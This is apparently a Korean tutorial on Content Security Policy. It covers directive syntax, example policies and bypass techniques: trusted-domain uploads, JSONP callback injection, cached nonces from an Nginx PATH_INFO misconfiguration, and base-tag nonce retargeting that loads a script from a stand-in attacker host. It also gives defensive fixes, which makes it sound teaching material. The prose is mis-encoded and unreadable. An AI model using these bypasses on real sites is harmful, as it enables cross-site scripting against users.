1. CSP
CSP (์ฝํ ์ธ ๋ณด์ ์ ์ฑ Content Security Policy)๋ XSS, clickjacking์ด๋ ๋ฐ์ดํฐ ์ฃผ์ ๊ณผ ๊ฐ์ ํน์ ์น์ฌ์ดํธ ๊ด๋ จ ๊ณต๊ฒฉ์ ํ์ง ํ๊ฑฐ๋ ์ํ ํ๊ธฐ ์ํด ์ฌ์ฉ๋๋ค.
CSP๋ฅผ ํ์ฑํํ๋ ค๋ฉด Content-Security-Policy HTTP ํค๋๋ฅผ ๋ฐํํ๋๋ก ์น ์๋ฒ๋ฅผ ๊ตฌ์ฑํด์ผ ํ๋ค.
Content-Security-Policy-Report-Only: policy
+) Content-Security-Policy-Report-Only ํค๋์ Content-Security-Policy ํค๋๊ฐ ๋ชจ๋ ๋์ผํ ์๋ต์ ์์ผ๋ฉด, ๋ ์ ์ฑ ์ ๋ชจ๋ ์ ์ฉ๋จ. ์ฆ, ๋๋ค ์ค์ ํ๋ฉด ํ์ฉ๋์ง ์์ ์์ฒญ์ด ๋ณด๋ด์ง์ง๋ ์๊ณ ๋ณด๊ณ ์๋ ๋ณด๋ด์ง. (๋ณด์ ๊ฐํ์ ํจ๊ณผ)
<meta> ํ๊ทธ๋ฅผ ํตํด ํ์ฑํํ๋ ๋ฐฉ๋ฒ๋ ์๋ค.
<meta
http-equiv="Content-Security-Policy"
content="default-src 'self'; img-src https://*; child-src 'none';" />
CSP์ ์ฃผ์ ๋ชฉํ๋ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ๋ ๊ฒ์ด๋ค.
XSS ๊ณต๊ฒฉ์ ์๋ฒ์์ ๋ฐ์ ์ฝํ ์ธ ๋ฅผ ๋ธ๋ผ์ฐ์ ๊ฐ ์ ๋ขฐํ๋ค๋ ์ ์ ์ ์ฉํ๋ค. ๋ธ๋ผ์ฐ์ ๋ ์ฝํ ์ธ ์ ์ถ์ฒ๋ฅผ ์ ๋ขฐํ๊ธฐ ๋๋ฌธ์ ์ฝํ ์ธ ๊ฐ ์ด์ํ ๊ณณ์์ ์ค๋๋ผ๋ ์ ์ฑ ์คํฌ๋ฆฝํธ๋ฅผ ํผํด์์ ๋ธ๋ผ์ฐ์ ์์ ์คํํ๋ ๊ฒ์ด๋ค.
CSP๋ฅผ ์ฌ์ฉํ๋ฉด ์๋ฒ ๊ด๋ฆฌ์๊ฐ ๋ธ๋ผ์ฐ์ ์์ ์คํ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ์ ์ ํจํ ์์ค๋ก ๊ฐ์ฃผํด์ผ ํ๋ ๋๋ฉ์ธ์ ์ง์ ํ์ฌ XSS๊ฐ ๋ฐ์ํ ์ ์๋ ๋ฒกํฐ๋ฅผ ์ค์ด๊ฑฐ๋ ์ ๊ฑฐํ ์ ์๋ค.
์ฆ, ํ์ฉ๋ ๋๋ฉ์ธ์์ ๋ฐ์ ์์ค ํ์ผ์์ ๋ก๋๋ ์คํฌ๋ฆฝํธ๋ง ์คํํ๊ฑฐ๋ HTML ์์ฑ์ ํฌํจํ ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ๋ฐ ์ด๋ฒคํธ ์ฒ๋ฆฌ ๋ฑ์ ๋ค๋ฅธ ๋ชจ๋ ์คํฌ๋ฆฝํธ๋ ๋ฌด์ํ ์ ์๋ค.
CSP ์ค์ ๊ณผ ๊ด๋ จ๋ ์ ๋ณด๋ ์๋ ๋งํฌ์์ ๋ ์์ธํ๊ฒ ํ์ธํด๋ณผ ์ ์๋ค.
https://content-security-policy.com/
https://book.hacktricks.xyz/pentesting-web/content-security-policy-csp-bypass
2. CSP ์ ์ฑ
(1) ์น ์ฌ์ดํธ ๊ด๋ฆฌ์๋ ๋ชจ๋ ์ฝํ ์ธ ๊ฐ ์ฌ์ดํธ ์์ฒด์ ์ถ์ฒ(ํ์ ๋๋ฉ์ธ ์ ์ธ)์์ ์ค๋๋ก ํจ.
Content-Security-Policy: default-src 'self'
(2) ์ ๋ขฐํ ์ ์๋ ๋๋ฉ์ธ ๋ฐ ๋ชจ๋ ํ์ ๋๋ฉ์ธ์ ์ฝํ ์ธ ๋ฅผ ํ์ฉ (CSP๊ฐ ์ค์ ๋ ๋๋ฉ์ธ๊ณผ ๋์ผํ ํ์๋ ์์).
Content-Security-Policy: default-src 'self' example.com *.example.com
(3) ์น ์ ํ๋ฆฌ์ผ์ด์ ์ฌ์ฉ์์ ๋ชจ๋ ์๋ณธ์ ์ด๋ฏธ์ง๋ฅผ ํฌํจํ ์ ์๋๋ก ํ์ฉํ์ง๋ง ์ค๋์ค ๋๋ ๋น๋์ค ๋ฏธ๋์ด๋ ์ ๋ขฐํ ์ ์๋ ๊ณต๊ธ์๋ก ์ ํํ๊ณ ๋ชจ๋ ์คํฌ๋ฆฝํธ๋ ์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ํธ์คํ ํ๋ ํน์ ์๋ฒ๋ก๋ง ์ ํ
- ์ด๋ฏธ์ง๋ ์ถ์ฒ์ ์๊ด์์ด ๋ก๋ํ ์ ์์
- ๋ฏธ๋์ด๋ example.org ๋ฐ example.net์์๋ง ํ์ฉ๋๋ฉฐ ํด๋น ์ฌ์ดํธ์ ํ์ ๋๋ฉ์ธ์์๋ ํ์ฉ๋์ง ์์
- ์คํ ๊ฐ๋ฅํ ์คํฌ๋ฆฝํธ๋ userscripts.example.com์์ ์จ ๊ฒ๋ง ํ์ฉ
Content-Security-Policy: default-src 'self'; img-src *; media-src example.org example.net; script-src userscripts.example.com
(4) ์จ๋ผ์ธ ๋ฑ ํน ์ฌ์ดํธ์ ์น ์ฌ์ดํธ ๊ด๋ฆฌ์๋ ๊ณต๊ฒฉ์๊ฐ ์์ฒญ์ ๋์ฒญํ๋ ๊ฒ์ ๋ฐฉ์งํ๊ธฐ ์ํด ๋ชจ๋ ์ฝํ ์ธ ๊ฐ TLS๋ฅผ ์ฌ์ฉํ์ฌ ๋ก๋๋์๋์ง ํ์ธ
- ์๋ฒ๋ ๋จ์ผ ์ถ์ฒ์ธ onlinebanking.example.com์์ ํน๋ณํ HTTPS๋ฅผ ํตํด ๋ก๋๋๋ ๋ฌธ์์ ๋ํ ์ก์ธ์ค๋ง ํ์ฉ
Content-Security-Policy: default-src https://onlinebanking.example.com
(5) ์น ๋ฉ์ผ ์ฌ์ดํธ์ ์น ์ฌ์ดํธ ๊ด๋ฆฌ์๋ ์ ์ ๋ฉ์ผ์ HTML์ ํ์ฉํ๊ณ ์ด๋์์๋ ๋ก๋๋ ์ด๋ฏธ์ง๋ฅผ ํ์ฉํ๋ ค๊ณ ํ์ง๋ง JavaScript ๋๋ ๊ธฐํ ์ ์ฌ์ ์ผ๋ก ์ํํ ์ฝํ ์ธ ๋ ํ์ฉํ์ง ์์
- script-src๋ฅผ ์ง์ ํ์ง ์๊ณ , default-src ์ง์๋ฌธ์ ์ฌ์ฉ
- ์ฆ, ์๋ณธ ์๋ฒ์์๋ง ์คํฌ๋ฆฝํธ๋ฅผ ๋ก๋ํ ์ ์์
Content-Security-Policy: default-src 'self' *.example.com; img-src *
์ ์ฑ ๋ชฉ๋ก
default-src | -src๋ก ๋๋๋ ๋ชจ๋ ๋ฆฌ์์ค์ ๊ธฐ๋ณธ ๋์์ ์ค์ |
img-src | ์ด๋ฏธ์ง๋ฅผ ๋ก๋ํ ์ ์๋ ์ถ์ฒ ์ค์ |
script-src | Javascript ํ๊ทธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ ์ค์ |
style-src | ์คํ์ผ์ํธ ๊ด๋ จ ๊ถํ๊ณผ ์ถ์ฒ ์ค์ |
child-src | ํ์ด์ง ๋ด์ ์ฝ์ ๋ ํ๋ ์ ์ปจํ ์ธ ์ ๋ํ ์ถ์ฒ ์ค์ |
base-uri | ํ์ด์ง์ <base> ํ๊ทธ์ ๋ํ๋ ์ ์๋ URL์ ์ค์ |
object-src | Flash์ ๊ฐ์ ์ํํ ํ๋ฌ๊ทธ์ธ ๋นํ์ฑํ |
+ script-src directive
script-src-elem | <script> ์์๋ฅผ ์ง์ ํ์ง๋ง ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ์ง์ x |
script-src-attr | ์ธ๋ผ์ธ ์คํฌ๋ฆฝํธ ์ด๋ฒคํธ ํธ๋ค๋ฌ๋ ์ง์ ํ์ง๋ง <script>์์์ ์ง์ ๋ก๋๋ URL์ ํฌํจx |
value
none | ๋ชจ๋ ์ถ์ฒ๋ฅผ ํ์ฉํ์ง ์์ |
self | Origin ๋ด์์ ๋ก๋ํ๋ ๋ฆฌ์์ค๋ง ํ์ฉ |
unsafe-inline | ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ์ฉ |
unsafe-eval | eval๊ณผ ๊ฐ์ ํ ์คํธ-์๋ฐ์คํฌ๋ฆฝํธ ๋ณํ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉ์ ํ์ฉ |
nonce-<base64-value> | nonce ์์ฑ์ ์ค์ ํ์ฌ ์์ธ์ ์ผ๋ก ์ธ๋ผ์ธ ์ฝ๋๋ฅผ ์ฌ์ฉํฉ๋๋ค. <base64-value>๋ ๋ฐ๋์ ์์ฒญ๋ง๋ค ๋ค๋ฅธ ๋์ ๊ฐ์ผ๋ก ์ค์ ํด์ผ ํฉ๋๋ค. ํด๋น ์ถ์ฒ๋ฅผ ์ค์ ํ๋ฉด unsafe-inline ์ ๋ฌด์๋ฉ๋๋ค. ์์ ํ์ง ์์ ์ธ๋ผ์ธ ์ง์์ด๋ฅผ ์ฌ์ฉํ์ง ์๋๋ก ํ ์ ์์ต๋๋ค |
- ๋ชจ๋ ๋ฆฌ์์ค ์ถ์ฒ๋ฅผ origin์ผ๋ก ์ ํ
Content-Security-Policy: default-src 'self'
- baseํ๊ทธ์ ๋ชจ๋ ๊ฐ์ ํ์ฉํ์ง ์์
Content-Security-Policy: base-uri 'none'
- ์ธ๋ผ์ธ ์ฝ๋์ ์ฌ์ฉ์ ํ๊ฐ
Content-Security-Policy: script-src 'unsafe-inline'
3. CSP ์ฐํ
(1) ์ ๋ขฐํ๋ ๋๋ฉ์ธ์ ์ ๋ก๋
๋ง์ฝ ์ ๋ขฐํ๋ ์ถ์ฒ(๋๋ฉ์ธ)์์ ํ์ผ ์ ๋ก๋ ๋ฐ ๋ค์ด๋ก๋ ๊ธฐ๋ฅ์ ์ ๊ณตํ๋ค๋ฉด, ๊ณต๊ฒฉ์๋ ์ถ์ฒ์ ์คํฌ๋ฆฝํธ์ ๊ฐ์ ์์์ ์ ๋ก๋ํ ๋ค ๋ค์ด๋ก๋ ๊ฒฝ๋ก๋ก ์น ํ์ด์ง์ ์์์ ํฌํจ์ํฌ ์ ์๋ค.
<!--์ธ๋ถ ์์ ์
๋ก๋ ์์-->
<meta http-equiv="Content-Security-Policy" content="script-src 'self'">
...
<h1>๊ฒ์ ๊ฒฐ๊ณผ: <script src="/download_file.php?id=177742"></script></h1>
(2) JSONP API
JSONP๋?
JSONP(JSON with Padding)์ ์น ์ ํ๋ฆฌ์ผ์ด์ ์์ ์๋ก ๋ค๋ฅธ ๋๋ฉ์ธ(Cross-Origin) ๊ฐ์ ๋ฐ์ดํฐ๋ฅผ ์ฃผ๊ณ ๋ฐ์ ๋ ์ฌ์ฉ๋๋ ๊ธฐ์ ์ด๋ค. JSONP๋ณด๋ค CORS๊ฐ ๊ถ์ฅ๋๋ ์ด์ ๋ JSONP์ ๊ฒฝ์ฐ๋ GET ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด์๋ง ์ ๋ฌ์ด ๋๋๋ฐ ๊ทธ๋ ๊ฒ ๋๋ฉด ๊ณต๊ฒฉ์์ ์ํด์ ์ฝ๊ฒ ์กฐ์์ด ๊ฐ๋ฅํ๋ค. ๋ฐ๋ผ์ ํ์ฉํ๋ ๊ต์ฐจ ์ถ์ฒ๋ง์ ์ง์ ํ ์ ์๋ CORS๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์์ ํ๋ค.
๋ง์ฝ CSP์์ ํ์ฉํ ๋๋ฉ์ธ์์ JSONP API๋ฅผ ์ง์ํ๋ค๋ฉด, callback ํ๋ผ๋ฏธํฐ์ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ์ฌ ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ๋ค.
์น ํ์ด์ง์์ *.google.com์์ ์จ ์ถ์ฒ๋ง ํ์ฉํ๋ค๊ณ ๊ฐ์ ํด๋ณด๋ฉด, ๊ณต๊ฒฉ์๋ ๊ตฌ๊ธ์์ JSONP API๋ฅผ ์ง์ํ๋ ์๋ฒ๋ฅผ ์ฐพ์ callback์ ์ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ค.
JSONP API์ ์๋ก ์๋์ ๊ฐ์ Google Accounts ์๋น์ค๋ฅผ ๋ค ์ ์๋ค.
https://accounts.google.com/o/oauth2/revoke?callback=alert(1);
์ด๋ JSONP API๋ฅผ ์ ๊ณตํ๋ ์๋น์ค๋ ์ฝ๋ฐฑ ์ด๋ฆ์ ์๋ณ์๋ฅผ ์ ์ธํ ๋ฌธ์๋ฅผ ๊ฑฐ๋ถํจ์ผ๋ก์จ ์ด๋ฅผ ์ถ๊ฐ์ ์ผ๋ก ๋ฐฉ์ดํ ์ ์๋ค.
์ฆ, Google์ ์๋ฒ๋ ์ฝ๋ฐฑ ์ด๋ฆ์ผ๋ก alert(1);์ด ์ ํจํ์ง ์๋ค๊ณ ํ๋จํ๊ณ ์ค๋ฅ ๋ฉ์์ง๋ฅผ ๋ฐํํ๋ ๊ฒ์ด๋ค.
๊ทธ๋ฌ๋ ๋ณด์์ ์ผ๋ก ๊ฐ๋ฅํ ๊ฒฝ์ฐ JSONP๋ณด๋ค๋ CORS๋ฅผ ์ง์ํ๋ API๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข๋ค.
<!--CSP ์ค์ (๊ตฌ๊ธ)-->
<meta http-equiv="Content-Security-Policy" content="script-src 'https://*.google.com/'">
...
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1);"></script>
<!-- JSONP API ๊ฒฐ๊ณผ:
// API callback
alert(1);({
"error": {
"code": 400,
"message": "Invalid JSONP callback name: 'alert(1)'; only alphabet, number, '_', '$', '.', '[' and ']' are allowed.",
"status": "INVALID_ARGUMENT"
}
}
);
-->
(3) nonce ์์ธก ๊ฐ๋ฅ
CSP์ nonce๋ฅผ ์ด์ฉํ๋ฉด ๋ฐ๋ก ๋๋ฉ์ธ์ด๋ ํด์ ๋ฑ์ ์ง์ ํ์ง ์์๋ ๊ณต๊ฒฉ์๊ฐ ์์ธกํ ์ ์๋ nonce ๊ฐ์ด ํ๊ทธ ์์ฑ์ ์กด์ฌํ ๊ฒ์ ์๊ตฌํจ์ผ๋ก์จ XSS ๊ณต๊ฒฉ์ ๋ฐฉ์ดํ ์ ์๋ค.
์ด ๋ฐฉ์ด๋ฅผ ํจ๊ณผ์ ์ผ๋ก ์ฌ์ฉํ๊ธฐ ์ํด์๋ nonce ๊ฐ ๊ณต๊ฒฉ์๊ฐ ์ทจ๋ํ๊ฑฐ๋ ์์ธกํ ์ ์๋ ๊ฐ์ด์ด์ผ ํ๋ค.
Content-Security-Policy: script-src 'nonce-2726c7f26c'
....
<script nonce="2726c7f26c">
var inline = 1;
</script>
nonce ๊ฐ์ ๋ณดํต ์์ฒญ๋ง๋ค ์๋ก ์์ฑ๋๋๋ฐ, ๋ง์ผ ์ด๋ฅผ ์์ฑํ๋ ์๊ณ ๋ฆฌ์ฆ์ด ์ทจ์ฝํ์ฌ ๊ฐ์ ์์ธกํ ์ ์๋ค๋ฉด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ์ ์ถํด ์์ ์ ์คํฌ๋ฆฝํธ๋ฅผ ์น ์ฌ์ดํธ์ ์ฝ์ ํ ์ ์๋ค.
nonce๋ฅผ ์ฌ์ฉํ ๋์๋ nonce ๊ฐ์ ๋ด๊ณ ์๋ HTTP ํค๋ ๋๋ <meta> ํ๊ทธ๊ฐ ์บ์ฑ๋์ง ์๋์ง ์ฃผ์ํด์ผ ํ๋ค.
PHP๋ CGI ๊ณ์ด ์คํฌ๋ฆฝํ ์ ์ฌ์ฉํ ๋์๋ ํนํ ์ฃผ์ํด์ผ ํ๋๋ฐ, ์ด๋ ์คํฌ๋ฆฝํธ๋ค์ด /index.php/style.css์ฒ๋ผ ๋ค์ ์ถ๊ฐ์ ์ธ ๊ฒฝ๋ก๋ฅผ ๋ถ์ฌ ์ ๊ทผ๋ ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
์น ์ฌ์ดํธ์์๋ ์ข ์ข ํน์ ํ์ผ๋ค์ ์บ์(์ฆ, ์์ ์ ์ฅ)ํ์ฌ ์น ํ์ด์ง๋ฅผ ๋ ๋น ๋ฅด๊ฒ ๋ก๋ํ ์ ์๋๋ก ํ๋ค. ์ด๋, ํ์ผ ํ์ฅ์(์: .css)๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ์ด๋ค ํ์ผ์ ์บ์ํ ์ง ๊ฒฐ์ ํ๋ ๊ฒฝ์ฐ๊ฐ ์๋ค. css ํ์ผ ๊ฐ์ ์ ์ ํ์ผ์ ๋ด์ฉ์ด ์์ฃผ ๋ณ๊ฒฝ๋์ง ์๊ธฐ ๋๋ฌธ์, ์ด๋ฐ ํ์ผ์ ๋ณดํต ์บ์์ ์ ์ฅ๋๋ค.
์บ์ฑ : https://learn.microsoft.com/ko-kr/azure/cdn/cdn-how-caching-works
์ด ๊ฒฝ์ฐ ์บ์๊ฐ ๋ง๋ฃ๋ ๋๊น์ง ์์ฒญ์๋ง๋ค ๊ฐ์ nonce๊ฐ ๋์์ค๊ธฐ ๋๋ฌธ์ ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ๋ฐํ์ผ๋ก nonce๋ฅผ ํ๋ํ ์ ์๋ค. ์ฝํ
์ธ ๊ฐ ์บ์๋์ด ์๋ฒ ์ธก XSS๊ฐ ์ผ์ด๋์ง๋ ์์ผ๋, DOM XSS ๋ฑ ํด๋ผ์ด์ธํธ ์ธก์์ ์ผ์ด๋ ์ ์๋ ๊ณต๊ฒฉ์ ์ทจ์ฝํด์ง๊ฒ ๋๋ค.
๋ํ, nonce ๊ฐ์ ๊ณต๊ฒฉ์๊ฐ ์์ธกํ ์ ์๋ ๋์๊ฐ์ด์ฌ์ผ ํ๊ธฐ ๋๋ฌธ์ ๋ณด์ ์ ์์ ํ ์์ฌ ๋์ ์์ฑ๊ธฐ(CSPRNG)๋ฅผ ์ฌ์ฉํ๋ ๊ฒ์ด ์ข๋ค. ๋ง์ผ ํ์ฌ ์๊ฐ(srand() / rand()) ๋ฑ ๊ณต๊ฒฉ์๊ฐ ์ ์ ์๋ ์ ๋ณด๋ฅผ ๋ฐํ์ผ๋ก nonce๋ฅผ ์์ฑํ๋ฉด ์๋ฏธ๊ฐ ์๋ค. ์ด๋ CSP ์ด์ธ์๋ ๋์๋ฅผ ์ฌ์ฉํ๋ ์์ฉ์์ ์ผ๋ฐ์ ์ผ๋ก ์ ์ฉ๋๋ ์ฌํญ์ด๋ค.
- Nginx์ PHP FastCGI SAPI(php-fpm) ์ฌ์ฉ ์์
location ~ \.php {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
- snippets/fastcgi-php.conf
# regex to split $uri to $fastcgi_script_name and $fastcgi_path
fastcgi_split_path_info ^(.+\.php)(/.+)$;
# Check that the PHP script exists before passing it
try_files $fastcgi_script_name =404;
# Bypass the fact that try_files resets $fastcgi_path_info
# see: http://trac.nginx.org/nginx/ticket/321
set $path_info $fastcgi_path_info;
fastcgi_param PATH_INFO $path_info;
fastcgi_index index.php;
include fastcgi.conf;
- fastcgi_split_path_info ^(.+\.php)(/.+)$;๋ ์์ฒญ๋ URI๋ฅผ PHP ํ์ผ ์ด๋ฆ๊ณผ ์ถ๊ฐ ๊ฒฝ๋ก ์ ๋ณด๋ก ๋ถํ ํ์ฌ ์บก์ฒ(์ ์ฅ)ํ๋ค. ์ด๋ PHP ํ์ผ ๋ค์ ์ถ๊ฐ์ ์ธ ๊ฒฝ๋ก ์ ๋ณด๊ฐ ์์ ๋ ์ฌ์ฉ๋๋ค.
- try_files $fastcgi_script_name =404;๋ ์์ฒญ๋ PHP ์คํฌ๋ฆฝํธ ํ์ผ์ด ์ค์ ๋ก ์กด์ฌํ๋์ง ํ์ธํ๊ณ , ํ์ผ์ด ์์ผ๋ฉด 404 ์ค๋ฅ๋ฅผ ๋ฐํํ๋ค.
- set $path_info $fastcgi_path_info;์ fastcgi_param PATH_INFO $path_info;๋ PATH_INFO ํ๊ฒฝ ๋ณ์๋ฅผ ์ค์ ํ์ฌ ์ถ๊ฐ ๊ฒฝ๋ก ์ ๋ณด๋ฅผ PHP ์คํฌ๋ฆฝํธ๋ก ์ ๋ฌํ๋ค.
์ด ์ค์ ๋๋ฌธ์ Nginx๋ ์์ฒญ๋ URL์ด PHP ํ์ผ๋ก ๋๋์ง ์๋๋ผ๋ URL ๋ด์ .php ํ์ผ์ด ํฌํจ๋์ด ์์ผ๋ฉด ํด๋น ํ์ผ์ ์คํํ๋ ค๊ณ ํ๋ค. dom_xss_vulnerable.php ํ์ผ๋ช ์ด .php๋ก ๋๋๊ธฐ ๋๋ฌธ์, Nginx๋ ์ด ํ์ผ์ ์คํ ๋์์ผ๋ก ํ๋จํ๊ณ PHP-FPM์ ์คํ์ ์์ฒญํ๋ค.
์ด๋, dom_xss_vulnerable.php ํ์ผ์ด ์คํ๋์ด nonce ๊ฐ <meta http-equiv="Content-Security-Policy" content="... nonce ..."> ํ๊ทธ๋ก ์ถ๋ ฅ๋๋ค.
CDN์ ๋ณดํต CSS ๋๋ ์คํฌ๋ฆฝํธ ๋ฑ ์ ์ ํ์ผ์ ์บ์ฑํ๊ธฐ ๋๋ฌธ์ meta ํ๊ทธ๋ก ์ถ๋ ฅ๋ nonce ๋ํ ๊ฐ์ด ์บ์ฑ๋๋ค.
๋ฐ๋ผ์ DOM XSS์ ์ทจ์ฝํ ํ์ด์ง์ nonce ๊ฐ์ด ๊ณ ์ ๋์ด ๊ณต๊ฒฉ์๋ ์๋์ ๊ฐ์ ๋งํฌ์ ์ ์ด์ฉํ ์ ์๋ค.
<script nonce="{๊ณ ์ ๋ nonce ๊ฐ}">alert(1);</script>
PATH_INFO ๊ธฐ๋ฅ์ ์ฌ์ฉํ์ง ์๋ ๊ฒฝ์ฐ ํด๋น ์ค์ ์ location ~ \.php$์ฒ๋ผ URL์ ๋ ๋ถ๋ถ์ด .php์ผ๋๋ง FastCGI๋ก ๋์ด๊ฐ๊ฒ ์์ ๋์ด์ผ ํ๋ค. ๋ํ URL์ a/b.php/c/d.php์ ๊ฐ์ด .php๊ฐ ์ค๋ณต ์ฌ์ฉ๋ ๋๋ฅผ ๋๋นํ์ฌ fastcgi-php.conf ์ค๋ํซ์ ์ฌ์ฉํ์ง ์๊ณ ๋ค์๊ณผ ๊ฐ์ด ๋ณ๊ฒฝ๋์ด์ผ ํฉ๋๋ค.
location ~ \.php$ {
try_files $uri =404;
fastcgi_index index.php;
include fastcgi.conf;
fastcgi_pass unix:/run/php/php7.2-fpm.sock;
}
- location ~ \.php$: ์ด ์ ๊ท ํํ์์ URL์ด .php๋ก ๋๋๋ ๊ฒฝ์ฐ์๋ง ํด๋น ๋ธ๋ก์ ์ค์ ์ ์ ์ฉํ๋๋ก ํ๋ค. ์ฆ, URL ๋๋ถ๋ถ์ .php๊ฐ ์ ํํ ์์นํ ๋๋ง ์ฒ๋ฆฌํ๋๋ก ์ ํ์ ๋๋ค. ์ด๋ ๊ฒ ํจ์ผ๋ก์จ, ์ค๊ฐ์ .php๊ฐ ์ฌ๋ฌ ๋ฒ ๋ฑ์ฅํ๋ URL์ ์ฌ๋ฐ๋ฅด๊ฒ ์ฒ๋ฆฌํ ์ ์๋ค.
- try_files $uri =404: ์ด ์ง์์ด๋ ์์ฒญ๋ URI๊ฐ ์ค์ ๋ก ์๋ฒ์ ์กด์ฌํ๋์ง๋ฅผ ํ์ธํฉ๋๋ค. ํ์ผ์ด ์กด์ฌํ์ง ์์ผ๋ฉด 404 ์ค๋ฅ๋ฅผ ๋ฐํํ๋ค. ์ด๋ ์๋ฒ๊ฐ ์๋ชป๋ ํ์ผ ๊ฒฝ๋ก์ ๋ํด PHP ์ฒ๋ฆฌ๋ฅผ ์๋ํ๋ ๊ฒ์ ๋ฐฉ์งํ๋ค.
- fastcgi_index index.php;: ์ด ์ค์ ์ ์์ฒญ์ด ๋๋ ํ ๋ฆฌ๋ก ๋ค์ด์์ ๋ ๊ธฐ๋ณธ์ ์ผ๋ก ์คํํ PHP ํ์ผ์ index.php๋ก ์ง์ ํ๋ค.
(4) base-uri ๋ฏธ์ง์
HTML ํ์ดํผ๋งํฌ์์ ํธ์คํธ ์ฃผ์ ์์ด ๊ฒฝ๋ก๋ฅผ ์ง์ ํ๋ฉด ๋ธ๋ผ์ฐ์ ๋ ํ์ฌ ๋ฌธ์๋ฅผ ๊ธฐ์ค์ผ๋ก ์ฃผ์๋ฅผ ํด์ํ๋ค.
HTML <base> ํ๊ทธ๋ ๊ฒฝ๋ก๊ฐ ํด์๋๋ ๊ธฐ์ค์ ์ ๋ณ๊ฒฝํ ์ ์๋๋ก ํ๋ฉฐ, <a>, <form> ๋ฑ์ target ์์ฑ์ ๊ธฐ๋ณธ ๊ฐ์ ์ง์ ํ๋๋ก ํ๋ค.
๋ง์ผ ๊ณต๊ฒฉ์๊ฐ <base href="https://attack/xss-proxy/">์ ๊ฐ์ ๋งํฌ์ ์ ์ฝ์ ํ๊ฒ ๋๋ค๋ฉด, ์ถํ ์๋ ๊ฒฝ๋ก๋ฅผ ์ฌ์ฉํ๋ URL๋ค์ ๋ณธ๋ ์๋ํ ์์น๊ฐ ์๋ ๊ณต๊ฒฉ์์ ์๋ฒ์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋์ด ๊ณต๊ฒฉ์๋ ์ด๋ฅผ ํตํด ์์์ ์คํฌ๋ฆฝํธ ๋ฑ์ ์ฝ์ ํ ์ ์๊ฒ ๋๋ค.
base-uri์ ์์๋ก ์ง์ ํ์ง ์๋ ์ด์ default ์ด๊ธฐ ๊ฐ์ด ์กด์ฌํ์ง ์๋๋ค.
๋ง์ฝ ํ์ด์ง์ ์์ ๋งํฌ์ ์ ์ฝ์ ํ ์ ์๋ ์ทจ์ฝ์ ์ด ์์ง๋ง, nonce CSP ๊ตฌ๋ฌธ์ผ๋ก ์ธํด ์คํฌ๋ฆฝํธ๋ฅผ ์ฝ์ ํ ์ ์๋ค๊ณ ๊ฐ์ ํ ๋, base-uri CSP ๊ตฌ๋ฌธ์ ์ง์ ํ์ง ์์ ๊ฒฝ์ฐ ์๋์ ๊ฐ์ด base ํ๊ทธ๋ฅผ ์ด์ฉํ์ฌ ์์ ์์์ ๋ก๋ํ ์ ์๋ค.
์ด์ ๊ฐ์ ํํ์ ๊ณต๊ฒฉ์ Nonce Retargeting ์ด๋ผ๊ณ ํ๋ค.
<base href="https://malice.test">
<script src="/jquery.js" nonce=NONCE>
<!-- jquery.js๋ base ํ๊ทธ์ ์ํด https://malice.test/jquery.js๋ฅผ ๊ฐ๋ฆฌํต๋๋ค. -->
<base> ํ๊ทธ์ href ์์ฑ์ ์ฌ์ฉํ์ง ์๋ ํ์ด์ง๋ผ๋ฉด ์ด๋ฅผ ๋ฐฉ์ดํ๊ธฐ ์ํด csp๋ฅผ ํตํด ์๋์ ๊ฐ์ ์ ์ฑ ์ ์ค์ ํ ์ ์๋ค.
- base ํ๊ทธ์ URL ์ ํ
Content-Security-Policy: base-uri 'none'
์์ ์ธ๊ธํ๋ฏ์ด, base-uri์ ์์๋ก ์ง์ ํ์ง ์์ผ๋ฉด default ์ด๊ธฐ ๊ฐ์ด ์กด์ฌํ์ง ์๋๋ค.
๋ฐ๋ผ์ ์น ์๋น์ค๋ฅผ ๊ฐ๋ฐํ ๋์๋ ๋ฐ๋์ base-uri ์ง์๋ฌธ์ ์ ์ํด์ผ ํ๋ค.